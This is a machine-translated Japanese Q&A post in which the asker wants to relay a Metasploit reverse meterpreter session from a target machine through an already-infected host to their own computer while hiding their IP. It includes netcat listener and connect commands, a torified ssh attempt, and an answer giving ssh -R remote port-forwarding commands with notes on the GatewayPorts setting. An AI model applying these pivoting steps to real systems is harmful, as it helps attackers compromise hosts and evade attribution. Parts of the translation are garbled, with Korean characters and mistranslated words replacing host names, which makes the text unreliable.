まず、私の問題はメータープリッタの 'Portfwd'オプションとは関係がないと言いたいです。https://www.offense-security.com/metasploit-unleashed/portfwd/
2台のコンピュータにアクセスできるとしましょう。
- コンピュータAは私のものであり、Linuxを実行します。
- コンピュータBは感染したホストであり、Linuxも実行中です。
- コンピュータCは私が妥協したいコンピュータです。
私はこれを達成するためにMetasploitフレームワークを使用しています。 CからBへの逆方向TCP接続を確立し、AからBに接続してメータープリッターセッションを取得するには?問題は、BがAのIPアドレスをいつでも知りたくないことです。そのため、Aは接続を開始する必要があります(プロキシチェーンまたは他のプログラムを使用して実際のIPを隠す)。
まず、netcatを使って問題を再現しようとしましたが、何か間違って理解している可能性があります。
- コンピュータAはポート4444でnetcatサーバーを実行しています。(nc -l -p 4444
Aがメータープリッタサーバーを実行しているため)
- コンピュータCはポート8888を介してBに接続します。nc 'B' 8888
(Cはペイロードを実行して破損したサーバーに接続するため、実際のIPへのリンクはありません。)
- コンピュータBには、ポート8888にnetcatリスナーが設定されている必要があります。 CからのTCP接続を受け入れるには(これはわかりません)
今私の質問は:BがAのIPアドレスを知らない状態でBとAの間の接続を取得する方法です。
AからBへのローカルポートの転送にsshを使用しようとしています。
torify ssh -NL 4444:localhost:8888 B
ただし、ポート4444がすでに使用中であるというメッセージが表示されます(Aのncリスナーによって)。
簡単なシナリオを描いたので、おそらく私が望むものがより明確になるでしょう。次のオプション:
答え1
したがって、ポートを転送したいと思います。雨:8888到着答え:4444サーバー上ㅏ、
A:$ ssh -R 8888:localhost:4444 B
これでポートが開きます8888リスニング第二接続をポートに転送4444存在するㅏ、あなたのサーバーがどこにあるか。ssh
サーバーがある場合第二設定オプションはGatewayPorts
次のように設定されます。はい。
GatewayPorts
に設定した場合顧客が指定した次のいずれかのコマンドを使用できます。
A:$ ssh -R :8888:localhost:4444 B
A:$ ssh -R *:8888:localhost:4444 B
GatewayPorts
設定解除または次に設定いいえ製本ソケットに設定すると、localhost
リモート転送は機能しません。